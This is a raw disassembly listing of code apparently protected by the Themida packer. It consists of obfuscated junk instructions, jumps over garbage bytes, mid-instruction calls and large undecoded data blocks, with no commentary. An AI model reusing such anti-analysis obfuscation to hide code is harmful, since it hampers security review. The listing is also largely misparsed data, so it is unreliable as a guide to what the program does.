mov ecx, edi
jmp loc_60323E
; ---------------------------------------------------------------------------
db 0DBh
dd 98CD51ACh, 27E80A02h, 0AC7CD2ADh, 42CA7E00h
db 3Bh, 47h
; ---------------------------------------------------------------------------
loc_60323E: ; CODE XREF: Themida_:00603226j
xor si, 0D47Bh
jmp loc_603256
; ---------------------------------------------------------------------------
adc bl, bh
retf
; ---------------------------------------------------------------------------
sbb dword ptr [ebp+733F2FD5h], 53AF0247h
retf
; ---------------------------------------------------------------------------
loc_603256: ; CODE XREF: Themida_:00603243j
mov cx, si
mov eax, 446D1B32h
sub eax, 32B732E7h
sub di, 0FA01h
jmp loc_603275
; ---------------------------------------------------------------------------
dw 50B1h
dd 49F6DE0Ah
db 0F4h
; ---------------------------------------------------------------------------
loc_603275: ; CODE XREF: Themida_:00603269j
push edi
pop edi
mov ah, 36h
jp loc_603285
sbb edi, 4BF5D95h
loc_603285: ; CODE XREF: Themida_:00603279j
stc
mov ecx, 6DC1F4AFh
mov edi, 1DEF1BB5h
sbb dl, 98h
jmp loc_60329F
; ---------------------------------------------------------------------------
dd 0EF7F0C67h
db 4Fh, 0BDh, 0F0h
; ---------------------------------------------------------------------------
loc_60329F: ; CODE XREF: Themida_:00603293j
cld
movsx edi, ax
jnz loc_6032C2
push esi
call near ptr loc_6032BE+2 ; CODE XREF: Themida_:00603317j
pop edx
mov ds:5A01A0C7h, eax
push esi
mov ds:0F52EF7E3h, eax
scasb
cmp bl, dl
loc_6032BE: ; CODE XREF: Themida_:006032AAp
rcl byte ptr [esi], 5Ah
pop ecx
loc_6032C2: ; CODE XREF: Themida_:006032A3j
mov dx, 2A68h
jmp loc_6032DC
; ---------------------------------------------------------------------------
db 5Dh
dd 0E6FB3DFAh, 48D140Ah, 0F10025F0h, 2CB9053Fh
; ---------------------------------------------------------------------------
loc_6032DC: ; CODE XREF: Themida_:006032C6j
call near ptr loc_6032E6+4
mov eax, ds:3C924AA4h
loc_6032E6: ; CODE XREF: Themida_:loc_6032DCp
add eax, 6673E2D8h
mov ebx, 605EE373h
xor edi, 68FA60A0h
jbe loc_6032FE
pusha
popa
loc_6032FE: ; CODE XREF: Themida_:006032F6j
popa
or dh, 81h
jmp loc_603310
; ---------------------------------------------------------------------------
push edi
push edi
adc [ecx+74315BBh], ch
dec ebp
loc_603310: ; CODE XREF: Themida_:00603302j
mov eax, esi
call sub_603323
rep jge short near ptr loc_6032AA+3
dec esi
; ---------------------------------------------------------------------------
db 0C5h
; ---------------------------------------------------------------------------
fsub qword ptr [esp+ecx*2+4Dh]
xor al, 6Dh
pop eax
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_603323 proc near ; CODE XREF: Themida_:00603312p
jmp sub_60332F
sub_603323 endp
; ---------------------------------------------------------------------------
dd 0A31B611Ch
; ---------------------------------------------------------------------------
setalc
or [ebx], esi
; =============== S U B R O U T I N E =======================================
sub_60332F proc near ; CODE XREF: sub_603323j
pop ecx
xor di, 7E53h
sub eax, 4982963Bh
sub cl, 22h
adc cx, 0A9DBh
call near ptr loc_60334F+1
setalc
test eax, 0A9942C31h
xchg eax, edi
loc_60334F: ; CODE XREF: sub_60332F+14p
or ebp, eax
sub_60332F endp ; sp-analysis failed
or eax, [eax]
; ---------------------------------------------------------------------------
db 0
dd 0CE597A00h, 35A932A2h, 0BDFADD15h, 22F28166h, 0F585BBAh
dd 86h, 0D1816000h, 4206F948h, 6661D98Bh, 81A2C881h, 0C800Fh
dd 830F0000h, 6, 0F2A5EB81h, 8166469Dh, 66EC19DEh, 7E8DA8Bh
dd 0A4000000h, 0FE5D886Dh, 42BF79D3h, 5B0BC83Eh, 8E9h
dd 8FABE500h, 0F65C21DEh, 8B66F80Fh, 860FF5F8h, 5, 3BEE8166h
dd 0CB8BF988h, 99BF6660h, 6850FAFh, 0F000000h, 85h, 840F6100h
dd 0
dd 78A0Fh, 870F0000h, 1, 3C36BFF5h, 8B667869h, 0E8D08BD1h
dd 7, 0B7B6EDFBh, 66F2F4C2h, 0DA15D181h, 0E956F558h, 0Fh
dd 0AC5D1605h, 0A093EF93h, 2298ED1Dh, 59ED0C7Dh, 13E9h
dd 381C0B00h, 0CB8FDE35h, 9721BBA5h, 0C870B353h, 5374B201h
dd 0CBBF0F60h, 61D6BF0Fh, 0EB80BAB6h, 71EE811Ch, 8000F6E4h
dd 0C28BFFF7h, 4860Fh, 0BE660000h, 55BE4095h, 0E926EB92h
dd 0Bh, 54223952h, 8BCD429Ch, 53AB5BFAh, 14E9h, 69E90700h
dd 0BCF0F39h, 834F152Fh, 0B2490C19h, 6F9DC34Ch, 8B66588Ch
dd 5260F5CAh, 153A41B9h, 81665F09h, 61C8B2C9h, 0BCD28166h
dd 496EBEBAh, 830F5195h, 4, 0C8E4BF66h, 65B1C681h, 816663E7h
dd 8B0669EEh, 0D18166DEh, 0EE803DD4h, 0BF0F60FDh, 49B966D2h
dd 0DE8161DCh, 42D86842h, 50D6B70Fh, 0DE9h, 8AC30300h
dd 0DADB2C7Eh, 0E0493A07h, 0B059EEDBh, 0E96060FAh, 5, 0D03A5C45h
dd 0C381614Ch, 11CF7D86h, 850F5161h, 0
; ---------------------------------------------------------------------------
pop esi
jmp loc_603520
; ---------------------------------------------------------------------------
dw 0DB30h
dd 0B45155DEh, 22B52220h, 4CF594F8h, 0A931FC8Ch
; ---------------------------------------------------------------------------
loc_603520: ; CODE XREF: Themida_:00603509j
and ecx, 19B571B9h
jno loc_60352E
mov cl, 55h
loc_60352E: ; CODE XREF: Themida_:00603526j
sub ebx, 6A59DA41h
mov dh, 3Eh
call sub_603545 ; CODE XREF: Themida_:0060353Bj
loope near ptr loc_603536+3
xor al, 12h
pop es
and ah, [edx]
scasd
jnb short near ptr dword_6033E0+11Ch
; =============== S U B R O U T I N E =======================================
sub_603545 proc near ; CODE XREF: Themida_:loc_603536p
pusha
clc
movsx edx, cx
popa
pop esi
jmp loc_603559
; ---------------------------------------------------------------------------
db 0D0h, 5Fh, 9Eh
dd 0E1C6D59Ah
db 6Fh
; ---------------------------------------------------------------------------
loc_603559: ; CODE XREF: sub_603545+7j
jmp loc_603565
; ---------------------------------------------------------------------------
db 90h
db 9Dh
dd 0EA12E9EEh
byte_603564 db 0B2h ; CODE XREF: sub_603545+56j
; ---------------------------------------------------------------------------
loc_603565: ; CODE XREF: sub_603545:loc_603559j
movsx eax, dx
movsx ebx, ax
clc
movzx ecx, di
mov si, 0CEADh
jmp loc_60358C
; ---------------------------------------------------------------------------
dd 0DEE9823Bh, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 97818584h
; ---------------------------------------------------------------------------
loc_60358C: ; CODE XREF: sub_603545+2Ej
pusha
stc
xor edi, 564DE79Ah
popa
call near ptr loc_6035A5+4
scasb
loope near ptr byte_603564
push ds
cmp al, 91h
inc esi
db 36h
or eax, esp
stosd
loc_6035A5: ; CODE XREF: sub_603545+50p
mov word ptr [ebp+6E81D0Ch], cs
sub_603545 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
dd 43E00000h, 0CC694260h, 870Fh, 5E5A0000h, 0F5DF8B66h
dd 5E8h, 0E1D36600h, 0CE8B3CF2h, 0CDB96659h, 8166535Ah
dd 5E2EEDD9h, 0AE8h, 0E9B00900h, 0B0C5AA3Ch, 8BCF24D5h
dd 0C38B5AD7h, 12E9h, 0B823F300h, 6692CD4h, 0A20792B7h
dd 9C8AA9F1h, 0E80267B8h, 13h, 459D3128h, 0B36D11A7h, 32CC29EAh
dd 21C4A923h, 523CBBCAh, 5BFEB70Fh, 0F860505Fh, 6170F680h
dd 0BFCB8059h, 10810Fh, 7E80000h, 0B4000000h, 36367B4Bh
dd 0E880AB3Bh, 0D38B5E45h, 11E960h, 98440000h, 51801CF3h
dd 807AE739h, 0C2DA2C0Fh, 538E4B79h, 58DFB70Fh, 47C78061h
dd 0C18B6657h, 0AE959h, 5BB70000h, 651F65B6h, 8871557Eh
dd 0E8CA8B66h, 11h, 82D179E8h, 4937BA97h, 0D6A9F5BBh, 0CD1F7DC7h
dd 5E986h, 0F38E0000h, 5B27AD3Ah, 80F7BF0Fh, 14E925F6h
dd 43000000h, 69F48F21h, 6E4DAE1Eh, 0D30E9EABh, 0F896D8C9h
dd 8B5DADA8h, 9E8C7h, 0B76B0000h, 74E0DC61h, 8B9B4389h
dd 0F08B5FF0h, 0F5C68B60h, 4810F61h, 66000000h, 568B54B9h
dd 5E8h, 3302E300h, 0BB660543h, 5F5F65FDh, 5E9h, 824FAE00h
dd 12E9B035h, 52000000h, 0A38119AEh, 5736BAB4h, 593499E9h
dd 0AC1D99B0h, 20880F53h, 0E8000000h, 0Eh, 6F3602CCh, 0E4F7692Fh
dd 0A0DE6CABh, 6E86A7Eh, 39000000h, 732B6777h, 0F5E5F73h
dd 0BF66FAB7h, 0ED808EB6h, 0B860F511h, 4ACE3Bh, 0D0CBBE66h
dd 65BB6661h, 19820F11h, 0E9000000h, 14h, 1957E6BEh, 0A4E3E228h
dd 2ADD73Ch, 0BF4F810Dh, 26155461h, 38F0FF8h, 0F000000h
dd 8E9C6B7h, 0CD000000h, 5297592h, 819C0363h, 4BD550CFh
dd 850F18h, 80000000h, 830F87D9h, 5, 0F0B70F56h, 0F78B6658h
dd 48B0Fh, 0BB660000h, 0F78117B5h, 72DC31DCh, 10E8h, 0D9AD8C00h
dd 903F96C9h, 0D9A02F70h, 729AFDC6h, 8EC2BB58h, 525B7B92h
dd 5BC38B66h, 0F51D08Ah, 86h, 81665A00h, 661549CEh, 0FB3FCBEh
dd 1B8Dh, 0CF8B6000h, 12E9h, 2B82DD00h, 60EC430Ch, 75B66B95h
dd 33B97275h, 61C4FDA0h, 0A92315BBh, 1850F32h, 0F9000000h
dd 4C93C081h, 0BF663B20h, 0E5809C36h, 81C8B72Fh, 0EEC1EAD0h
dd 98E6812Eh, 8B11D8F6h, 3ABB51FBh, 5E36CF44h, 0DCB96652h
dd 0EB815ABBh, 2551C1Dh, 0CD9BBF66h, 890Fh, 0EEBF0000h
dd 0B72B2F1Eh, 9E969h, 3C240000h, 0C6B49F57h, 0FC0AA1E2h
dd 68A0Fh, 0F2810000h, 4F8D8F89h, 0D08B6651h, 66E68A5Bh
dd 0F667CBBh, 885h, 800F5200h, 0
; ---------------------------------------------------------------------------
pop ebx
mov ax, 0BC4Fh
jz $+6
mov bx, dx
mov dh, 0E6h
jmp loc_6038AD
; ---------------------------------------------------------------------------
db 21h, 57h, 2Ah
dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h
db 12h
; ---------------------------------------------------------------------------
loc_6038AD: ; CODE XREF: Themida_:00603898j
pusha
cld
popa
mov di, dx
mov bh, 9Dh
and bx, 0E01h
push esi
pop esi
mov ecx, 0AE9CDB6h
mov cx, 7F1Eh
cmc
jmp loc_6038DF
; ---------------------------------------------------------------------------
db 0C1h
dd 8274A3C1h, 30BE011Ch, 0BFDF9942h, 5C7D7271h
db 0F2h, 69h, 5Ch
; ---------------------------------------------------------------------------
loc_6038DF: ; CODE XREF: Themida_:006038C6j
push ecx
pop eax
and edi, 5EFB3E89h
adc dx, 0A085h
add edx, 578D7060h
mov bx, 3FDBh
push ebx
pop ebx
movzx eax, si
mov cl, 55h
jns loc_603912
jmp loc_603912
; ---------------------------------------------------------------------------
dd 1FD00377h, 171AE926h
db 35h, 0B3h
; ---------------------------------------------------------------------------
loc_603912: ; CODE XREF: Themida_:006038FDj
; Themida_:00603903j
movsx edx, bx
cmc
movsx esi, ax
jp loc_603921
mov ebx, edi
loc_603921: ; CODE XREF: Themida_:00603919j
or ax, 0F3D7h
sub edx, 6EB53CCDh
jz loc_603934
mov dh, al
loc_603934: ; CODE XREF: Themida_:0060392Cj
mov edi, 688310EEh
pusha
mov edi, ecx
jmp loc_60394A
; ---------------------------------------------------------------------------
db 75h, 2Bh, 0A9h
dd 7ECF3CFCh
db 9Fh, 15h
; ---------------------------------------------------------------------------
loc_60394A: ; CODE XREF: Themida_:0060393Cj
popa
jmp loc_60395B
; ---------------------------------------------------------------------------
dd 727BC774h, 27608E0Fh
db 95h, 58h, 0E3h
; ---------------------------------------------------------------------------
loc_60395B: ; CODE XREF: Themida_:0060394Bj
jmp loc_603966
; ---------------------------------------------------------------------------
dd 8FA60F1Ah
db 0A3h, 2Ah
; ---------------------------------------------------------------------------
loc_603966: ; CODE XREF: Themida_:loc_60395Bj
jmp loc_603973
; ---------------------------------------------------------------------------
db 0A3h
dd 184C216Eh
db 79h, 21h, 65h
; ---------------------------------------------------------------------------
loc_603973: ; CODE XREF: Themida_:loc_603966j
mov eax, edi
sub ecx, 60D7E23Bh
jmp loc_603990
; ---------------------------------------------------------------------------
dd 0B6D34D05h, 6F976D0Dh, 9556F446h, 6A37F501h
; ---------------------------------------------------------------------------
loc_603990: ; CODE XREF: Themida_:0060397Bj
mov ch, 5Ah
and bh, 0E9h
mov eax, edx
mov esi, 440E9625h
cmc
cmc
mov si, di
call sub_6039B6
retn 8170h
; ---------------------------------------------------------------------------
db 0D4h, 47h, 0ADh
dd 26468172h, 0F065D112h
db 0DCh, 0A1h
; =============== S U B R O U T I N E =======================================
sub_6039B6 proc near ; CODE XREF: Themida_:006039A1p
add dl, 0BCh
pop eax
add eax, 4AB3C472h
jnp loc_6039C9
movsx ebx, cx
loc_6039C9: ; CODE XREF: sub_6039B6+Aj
mov bx, 0FF7Dh
mov bx, 0AF59h
movzx ecx, di
jz loc_6039EB
jmp loc_6039EB
; ---------------------------------------------------------------------------
db 63h
dd 89F8AD45h, 4EED632Fh
; ---------------------------------------------------------------------------
loc_6039E8: ; CODE XREF: sub_6039B6+54j
aas
cwde
; ---------------------------------------------------------------------------
db 24h
; ---------------------------------------------------------------------------
loc_6039EB: ; CODE XREF: sub_6039B6+1Ej
; sub_6039B6+24j
pusha
pusha
mov ah, 35h
adc si, 255Ah
popa
js near ptr loc_603A13+2
call near ptr loc_603A13+1
and eax, [ecx+edx*2+75h]
db 36h
clc
enter 0FFFF8B19h, 56h
jb short loc_6039E8
sub edx, [esi]
imul edi, ecx, 33h
pusha
push edx
loc_603A13: ; CODE XREF: sub_6039B6+45p
; sub_6039B6+3Fj
arpl [edi+61h], bx
sub_6039B6 endp ; sp-analysis failed
push ebx
jmp loc_603A22
; ---------------------------------------------------------------------------
dd 0AB38D5Dh
db 0BFh, 0B2h
; ---------------------------------------------------------------------------
loc_603A22: ; CODE XREF: Themida_:00603A17j
pop edx
sbb al, 0C9h
jp loc_603A32
pusha
mov al, 40h
pusha
; START OF FUNCTION CHUNK FOR sub_603A60
loc_603A30: ; CODE XREF: sub_603A60+10j
popa
popa
loc_603A32: ; CODE XREF: Themida_:00603A26j
sub esi, 6E08BDDEh
or dx, 859h
push ebx
xor edi, 15B206Fh
pop edx
jmp loc_603A54
; END OF FUNCTION CHUNK FOR sub_603A60
; ---------------------------------------------------------------------------
dw 8E57h
; ---------------------------------------------------------------------------
mov eax, 5671DB19h
or [ebp-68h], cl
; START OF FUNCTION CHUNK FOR sub_603A60
loc_603A54: ; CODE XREF: sub_603A60-1Bj
call sub_603A60
sub cl, [edx+eax*2-637F8E23h]
; END OF FUNCTION CHUNK FOR sub_603A60
; =============== S U B R O U T I N E =======================================
sub_603A60 proc near ; CODE XREF: sub_603A60:loc_603A54p
; FUNCTION CHUNK AT 00603A30 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00603A54 SIZE 0000000C BYTES
mov si, 9A89h
pop ebx
or dx, 5312h
call near ptr loc_603A75+3
das
jz short loc_603A30
int 2Fh
daa
loc_603A75: ; CODE XREF: sub_603A60+Ap
or bl, [ebx+5FD38BE0h]
sub_603A60 endp ; sp-analysis failed
mov ebx, 409A448h
mov ebx, 5C298860h
push ebx
sbb ecx, 9A7C474h
pop ebx
sub cx, 9C22h
mov edx, ebx
mov si, 0E5C8h
sub si, 376Bh
jno loc_603AA6
mov bx, cx
loc_603AA6: ; CODE XREF: Themida_:00603A9Dj
add cx, 0FBF6h
stc
clc
or al, 29h
mov di, si
jg loc_603ACA
pusha
pusha
popa
jmp loc_603AC9
; ---------------------------------------------------------------------------
db 0FCh, 4Eh, 0B8h
dd 0AEE5BC59h
db 6Ah
; ---------------------------------------------------------------------------
loc_603AC9: ; CODE XREF: Themida_:00603ABCj
popa
loc_603ACA: ; CODE XREF: Themida_:00603AB3j
mov edi, 5B7044E6h
pusha
or dx, 91A2h
popa
jmp loc_603AEF
; ---------------------------------------------------------------------------
db 3Bh
dd 17A36AD2h, 0F3B9B204h, 0F17773EFh, 126F0364h
db 0E0h, 0Ah, 0CEh
; ---------------------------------------------------------------------------
loc_603AEF: ; CODE XREF: Themida_:00603AD6j
ja loc_603AF6
cmc
loc_603AF6: ; CODE XREF: Themida_:loc_603AEFj
and dx, 1015h
ja loc_603B27
call near ptr loc_603B12+2
and ebp, edx
fcmovne st, st(5)
mov bl, al
and [esi], edx
shl dword ptr [ecx], 1
dec ebp
aaa
loc_603B12: ; CODE XREF: Themida_:00603B01p
xor ch, [ecx+ebp*8+0Dh]
; ---------------------------------------------------------------------------
dw 0
dd 4054B600h, 389C0A7Eh, 97DD20B5h
; ---------------------------------------------------------------------------
pop ds
cmpsd
pop edi
loc_603B27: ; CODE XREF: Themida_:00603AFBj
cmc
mov bh, 61h
pusha
jb loc_603B35
mov si, 15E0h
loc_603B35: ; CODE XREF: Themida_:00603B2Bj
jmp loc_603B43
; ---------------------------------------------------------------------------
dw 0DC6Eh
; ---------------------------------------------------------------------------
mov dword ptr [ebx-5Dh], 0AFC87E0Eh
loc_603B43: ; CODE XREF: Themida_:loc_603B35j
popa
pusha
mov edi, eax
stc
popa
mov ah, 81h
call near ptr loc_603B61+1
les esi, ds:478EAC42h
assume ss:nothing
aaa
dec esp
push esi
jge short loc_603BB3
cmp esp, [ebp+42h]
cld
out dx, eax
inc edx
loc_603B61: ; CODE XREF: Themida_:00603B4Bp
db 2Eh
jz loc_603B6B
or dl, 65h
loc_603B6B: ; CODE XREF: Themida_:loc_603B61j
pop esi
add cx, 8CF7h
push eax
mov edx, 0B32C3EFh
pop edx
jnz loc_603B80
push ecx
pop esi
loc_603B80: ; CODE XREF: Themida_:00603B78j
jmp loc_603B91
; ---------------------------------------------------------------------------
db 1Ah, 0F5h, 0F2h
dd 0C5C0BFE8h, 0DFAC495Eh
db 28h
; ---------------------------------------------------------------------------
loc_603B91: ; CODE XREF: Themida_:loc_603B80j
mov cl, al
push ebx
jmp loc_603BAD
; ---------------------------------------------------------------------------
db 0CAh, 0E9h, 56h
dd 0F6A22A30h, 0DE4F3A05h, 0E5734561h, 9D99303Bh
db 7Dh
; ---------------------------------------------------------------------------
loc_603BAD: ; CODE XREF: Themida_:00603B94j
pop esi
jmp loc_603BC0
; ---------------------------------------------------------------------------
loc_603BB3: ; CODE XREF: Themida_:00603B59j
push edi
fcmovnb st, st(7)
test al, 42h
popa
add [ecx], ecx
and al, 0C3h
jnz short near ptr loc_603C0C+3
push cs
loc_603BC0: ; CODE XREF: Themida_:00603BAEj
and si, 5F71h
mov bx, 0F002h
mov esi, ecx
jnp loc_603BD7
add ecx, 261FC758h
loc_603BD7: ; CODE XREF: Themida_:00603BCBj
jmp loc_603BE4
; ---------------------------------------------------------------------------
dd 62C745FDh, 1A7F1189h
; ---------------------------------------------------------------------------
loc_603BE4: ; CODE XREF: Themida_:loc_603BD7j
cld
call sub_603BFE
mov dh, 31h
retn
; ---------------------------------------------------------------------------
db 0F0h, 6Ah, 0D9h
dd 791F8988h, 0AAFE82CEh, 510386DFh
; ---------------------------------------------------------------------------
cmp dh, bl
; =============== S U B R O U T I N E =======================================
sub_603BFE proc near ; CODE XREF: Themida_:00603BE5p
arg_4 = byte ptr 8
arg_15 = byte ptr 19h
; FUNCTION CHUNK AT 00603CE2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00603D13 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00603D4E SIZE 00000068 BYTES
; FUNCTION CHUNK AT 00603DC3 SIZE 0000003E BYTES
pop esi
jmp loc_603C09
; ---------------------------------------------------------------------------
dd 5A5DCC62h
db 0BAh
; ---------------------------------------------------------------------------
loc_603C09: ; CODE XREF: sub_603BFE+1j
or ah, 4Ah
loc_603C0C: ; CODE XREF: Themida_:00603BBDj
jnp loc_603C17
mov edi, 1DB45464h
loc_603C17: ; CODE XREF: sub_603BFE:loc_603C0Cj
or eax, 663E2618h
jmp loc_603C2C
; ---------------------------------------------------------------------------
dw 86E7h
; ---------------------------------------------------------------------------
pop ebx
xchg eax, edi
fnsave [esp+edx*4-8+arg_15]
fdivr st, st
loc_603C2C: ; CODE XREF: sub_603BFE+1Fj
or dx, 0D22Fh
and dx, 0D1ECh
mov esi, eax
ja loc_603C4A
jmp loc_603C4A
; ---------------------------------------------------------------------------
db 74h
dd 0C2BDC113h
; ---------------------------------------------------------------------------
xor cl, [ecx]
loc_603C4A: ; CODE XREF: sub_603BFE+3Aj
; sub_603BFE+40j
pusha
sub esi, 51A50C4Dh
mov edx, 470D46B8h
popa
adc ebx, 12AAE91h
cmc
mov edi, 6F75ADEDh
stc
movzx eax, dx
mov dx, bx
cmc
jmp loc_603C7A
; ---------------------------------------------------------------------------
dd 942126E7h, 0D18C2FCCh
db 5Fh, 0A9h
; ---------------------------------------------------------------------------
loc_603C7A: ; CODE XREF: sub_603BFE+6Dj
mov cx, 3055h
mov bx, 0F0C0h
call near ptr loc_603C8B+4
inc edi
loop loc_603CE2
push esi
loc_603C8B: ; CODE XREF: sub_603BFE+84p
adc [esi-74F0CD22h], ebp
sub_603BFE endp ; sp-analysis failed
push es
; ---------------------------------------------------------------------------
dw 0
dd 9AF38100h, 5F1C6F34h, 0BA70D681h, 0CF8B2A12h, 0FDFBF0Fh
dd 98Bh, 3880F00h, 66000000h, 6E9F88Bh, 45000000h, 0F6EE8013h
dd 66D88BD9h, 0E9ECB4BBh, 0Dh, 1B81213Dh, 7FFFC583h, 5D5A3E38h
dd 8E948h, 0C8F10000h
db 48h, 36h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_603BFE
loc_603CE2: ; CODE XREF: sub_603BFE+8Aj
aad 8Ah
lock mov ecx, [edi]
mov bh, 0D3h
mov eax, 3FA4A576h
mov eax, 2CD1BDA8h
sub si, 7686h
jnp loc_603D13
jmp loc_603D13
; END OF FUNCTION CHUNK FOR sub_603BFE
; ---------------------------------------------------------------------------
xchg eax, ecx
pop ebx
cwde
push eax
sub edi, edx
sti
xchg eax, ebp
aam 8Bh
retn
; ---------------------------------------------------------------------------
dw 0F452h
db 0C2h, 3, 2Dh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_603BFE
loc_603D13: ; CODE XREF: sub_603BFE+FAj
; sub_603BFE+100j
and eax, 522941E0h
sub di, 8E98h
movzx edi, ax
jo loc_603D28
cmc
loc_603D28: ; CODE XREF: sub_603BFE+123j
xor ch, 8
mov bl, dh
push ecx
xor cl, 45h
pop esi
mov esi, edi
mov bx, di
jl loc_603D4E
jmp loc_603D4E
; END OF FUNCTION CHUNK FOR sub_603BFE
; ---------------------------------------------------------------------------
dw 149Ah
; ---------------------------------------------------------------------------
sbb eax, 1F2D54B9h
mov ebp, 19AA6880h
; START OF FUNCTION CHUNK FOR sub_603BFE
loc_603D4E: ; CODE XREF: sub_603BFE+139j
; sub_603BFE+13Fj
movzx ebx, dx
mov ebx, 69226717h
movzx ebx, cx
movsx ecx, bx
mov ecx, 0BB149D4h
clc
pusha
call near ptr loc_603D76+1
lodsd
aaa
xchg eax, edx
xchg edx, [eax+3AFF9A68h]
xchg eax, ecx
xor al, 0D1h
aaa
cmpsb
loc_603D76: ; CODE XREF: sub_603BFE+165p
out 0E8h, eax
sldt word ptr [eax]
add [ebx+64h], dl
push ebp
pop edi
dec ebp
adc eax, 0B018ADE5h
dec esi
movsb
stc
xchg dh, ch
pop ecx
pop eax
mov edx, 34D5FF81h
popa
ja loc_603D9E
mov esi, 4ABF42F1h
loc_603D9E: ; CODE XREF: sub_603BFE+195j
cld
jnz loc_603DAA
or cx, 8CF5h
loc_603DAA: ; CODE XREF: sub_603BFE+1A1j
mov ax, dx
stc
mov di, ax
jmp loc_603DC3
; END OF FUNCTION CHUNK FOR sub_603BFE
; ---------------------------------------------------------------------------
dw 47C9h
dd 627B5788h, 2A671035h
db 8Fh, 67h, 0B3h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_603BFE
loc_603DC3: ; CODE XREF: sub_603BFE+1B3j
mov ax, 0A4C5h
mov ah, 90h
jo near ptr loc_603DE4+3
call near ptr loc_603DE1+2
clc
dec esp
add [esi+2Bh], ecx
call near ptr 0ACCA205Ch
call fword ptr [esp+ebp*8+0]
loc_603DE1: ; CODE XREF: sub_603BFE+1D1p
or ecx, [edx-80h]
loc_603DE4: ; CODE XREF: sub_603BFE+1CBj
call near ptr 0DAEA9D76h
adc ch, 0D1h
jb loc_603DF3
cmc
loc_603DF3: ; CODE XREF: sub_603BFE+1EEj
call sub_603E01
push 0F2516B8Eh
int 3 ; Trap to Debugger
int 0E5h ; used by BASIC while in interpreter
xchg eax, ebp
; END OF FUNCTION CHUNK FOR sub_603BFE
; =============== S U B R O U T I N E =======================================
sub_603E01 proc near ; CODE XREF: sub_603BFE:loc_603DF3p
movzx eax, bx
pop edx
jns loc_603E0E
mov ax, dx
loc_603E0E: ; CODE XREF: sub_603E01+4j
adc ax, 2F0Fh
mov di, 1339h
cld
xor ax, 0A369h
sbb bx, 3B3Ch
or si, 9C43h
mov ch, 0D7h
push esi
adc eax, 3F1B294Ah
pop esi
jz loc_603E39
mov bl, 0ACh
loc_603E39: ; CODE XREF: sub_603E01+30j
jnp loc_603E58
jmp loc_603E58
; ---------------------------------------------------------------------------
dd 9EE84B53h, 331B112Dh, 81643F0Ah, 0BC42A540h, 0CA7F4104h
; ---------------------------------------------------------------------------
loc_603E58: ; CODE XREF: sub_603E01:loc_603E39j
; sub_603E01+3Ej
jmp loc_603E70
; ---------------------------------------------------------------------------
db 32h, 9Dh, 0C8h
dd 33E4FF84h, 161465FDh, 3A4CDB0Eh, 0FAA5A820h
; ---------------------------------------------------------------------------
loc_603E70: ; CODE XREF: sub_603E01:loc_603E58j
jmp loc_603E7F
; ---------------------------------------------------------------------------
db 8Ah, 0, 0ACh
dd 7BBEFAC4h
; ---------------------------------------------------------------------------
sti
mov ah, 52h
loc_603E7F: ; CODE XREF: sub_603E01:loc_603E70j
push eax
add ax, 7C7Fh
pop edx
call loc_603E9D
sar cl, 1
fcmove st, st(5)
adc ecx, [eax-65h]
shr dword ptr cs:[ecx-4Fh], 1
fnstsw word ptr [esi]
and eax, 3912DE8Eh
sub_603E01 endp ; sp-analysis failed
loc_603E9D: ; CODE XREF: sub_603E01+85p
jz loc_603EB8
jmp loc_603EB8
; ---------------------------------------------------------------------------
dd 1C680256h, 2408E7E7h, 0C107C750h, 31C9BAA9h
; ---------------------------------------------------------------------------
loc_603EB8: ; CODE XREF: Themida_:loc_603E9Dj
; Themida_:00603EA3j
pop edx
push edx
xor al, 30h
pop edi
sub edi, 8448C5Ah
mov eax, 29B6E988h ; CODE XREF: Themida_:00603F11j
pusha
jmp loc_603ED7
; ---------------------------------------------------------------------------
db 50h
dd 0D161B2BCh
db 5Ah, 6, 0E2h
; ---------------------------------------------------------------------------
loc_603ED7: ; CODE XREF: Themida_:00603ECAj
and dx, 0A705h
popa
jmp loc_603EEA
; ---------------------------------------------------------------------------
dw 3870h
dd 20B10229h
db 0B9h, 0F1h
; ---------------------------------------------------------------------------
loc_603EEA: ; CODE XREF: Themida_:00603EDDj
pusha
jnp loc_603EF7
jg $+6
loc_603EF7: ; CODE XREF: Themida_:00603EEBj
or edi, 4D511856h
popa
call sub_603F17
sub al, 0EAh
dec esp
sbb ebp, esp
clc
scasb
inc edi
pop ss
assume ss:nothing
fsub dword ptr [eax]
sub al, 55h
ja short near ptr loc_603EC4+2
hlt
; ---------------------------------------------------------------------------
db 2Dh, 2 dup(0BFh)
; =============== S U B R O U T I N E =======================================
sub_603F17 proc near ; CODE XREF: Themida_:00603EFEp
jnz loc_603F20
movzx ecx, dx
loc_603F20: ; CODE XREF: sub_603F17j
pop ecx
or cx, 601h
jz loc_603F32
sub edi, 71C6775Eh
loc_603F32: ; CODE XREF: sub_603F17+Fj
mov dh, 0F4h
mov edx, 4EA3D1B1h
mov dx, 0BC84h
mov dx, 2FC1h
mov edi, 22D89DB1h
mov bx, 7AEAh
mov si, cx
mov al, bh
push ebx
xor edx, 16627CC6h
pop edi
jnb loc_603F62
adc si, 0A90Dh
loc_603F62: ; CODE XREF: sub_603F17+40j
mov si, di
push edi
push ecx
mov ch, 50h
pop eax
pop esi
jnp loc_603F72
clc
loc_603F72: ; CODE XREF: sub_603F17+54j
mov esi, ebx
js loc_603F7F
mov edi, 529B743Eh
loc_603F7F: ; CODE XREF: sub_603F17+5Dj
jz $+6
mov eax, ebx
jmp loc_603F99
; ---------------------------------------------------------------------------
dd 0C5C9F65Eh, 3F75201Dh, 0F2B6AE79h
db 2Bh
; ---------------------------------------------------------------------------
loc_603F99: ; CODE XREF: sub_603F17+70j
xor esi, 9700024h
jmp loc_603FB7
; ---------------------------------------------------------------------------
or bl, [ecx+edx*4+66h]
add bl, al
test eax, 7E8C66B3h
mov esi, 1B13C697h
lds eax, [edi]
scasd
loc_603FB7: ; CODE XREF: sub_603F17+88j
jle loc_603FBF
mov dl, ch
loc_603FBF: ; CODE XREF: sub_603F17:loc_603FB7j
pusha
xor ax, 7ECEh
mov esi, 7EAD563Fh
popa
mov di, 0B30Dh
adc dh, 0F8h
call loc_603FDC
db 65h
dec ecx
cdq
aam 1Fh
